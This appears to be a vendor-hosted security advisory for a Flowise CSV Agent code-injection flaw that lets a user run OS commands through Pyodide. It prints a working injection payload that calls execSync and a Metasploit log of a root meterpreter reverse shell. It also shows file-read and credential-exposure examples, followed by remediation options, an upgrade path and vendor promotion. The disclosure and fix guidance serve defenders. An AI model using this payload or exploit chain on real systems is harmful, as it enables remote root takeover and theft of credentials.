Summary
Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection, Root Shell Verified
UPDATE 2026-05-20: Full RCE as root VERIFIED
This is not theoretical, a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.
Verified Exploit Chain
- Python code injection via
base64_string = "${base64String}"(CSVAgent.ts line 161) - Pyodide
jsbridge provides access to the host Node.js process process.mainModule.constructor._load('child_process')loads child_process (bypasses ESM require restriction).execSync('CMD')executes arbitrary OS commands as root (PID 1 in container)
Working RCE Payload
";import js;e=js.globalThis.eval;e("process.mainModule.constructor._load('child_process').execSync('id')");#
Constraint: No commas allowed in payload, csvFile.split(',') splits on all commas.
Metasploit Session Proof
msf > use exploit/multi/http/flowise_csv_agent_rce
msf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
msf > exploit
[+] Authentication successful
[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4
[*] Sending stage (3090404 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : cbce3fb352b7
OS : Linux 6.8.0-111-generic
Architecture : x64
Meterpreter : x64/linux
meterpreter > shell
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
# uname -a
Linux cbce3fb352b7 6.8.0-111-generic x86_64 Linux
Additional Verified Impact
Credential Theft:
FLOWISE_PASSWORD=admin123
DATABASE_PATH=/root/.flowise
APIKEY_PATH=...
Arbitrary File Read via process.binding('fs').readFileUtf8('/etc/hostname') → cbce3fb352b7
Server DoS, certain native binding calls (spawn_sync) crash the Node.js process entirely.
CVSS v3.1: 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Original Report (below)
Vulnerable Code
File: packages/components/nodes/agents/CSVAgent/CSVAgent.ts
Lines 133-138, Unsanitized string extraction from data URI via file.split(',').pop().pop(), no validation on content.
Lines 155-171, Direct interpolation into executable Python code:base64_string = "${base64String}" is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.
validatePythonCodeForDataFrame() denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.
Related CVEs
- CVE-2026-41264 (CSV Agent regex bypass)
- CVE-2026-41265 (Airtable Agent sandbox bypass)
- CVE-2026-46442 (NodeVM sandbox escape)
Disclosure: Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.
Impact
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Option 1 (Best): Use pyodide.globals.set('base64_string', base64String) instead of string interpolation
Option 2: Validate base64 before interpolation, reject if not matching /^[A-Za-z0-9+/=]*$/
Option 3: Escape special characters (", \n, \r, \\) before interpolation
Frequently Asked Questions
- What is CVE-2026-69255? CVE-2026-69255 is a critical-severity code injection vulnerability in flowise (npm), affecting versions <= 3.1.2. It is fixed in 3.1.3. Untrusted input is evaluated as executable code within the application's runtime environment.
- Which packages are affected by CVE-2026-69255?
flowise(npm) (versions <= 3.1.2)flowise-components(npm) (versions <= 3.1.2)
- Is there a fix for CVE-2026-69255? Yes. CVE-2026-69255 is fixed in 3.1.3. Upgrade to this version or later.
- Is CVE-2026-69255 exploitable, and should I be worried? Whether CVE-2026-69255 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-69255 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-69255?
- Upgrade
flowiseto 3.1.3 or later - Upgrade
flowise-componentsto 3.1.3 or later
- Upgrade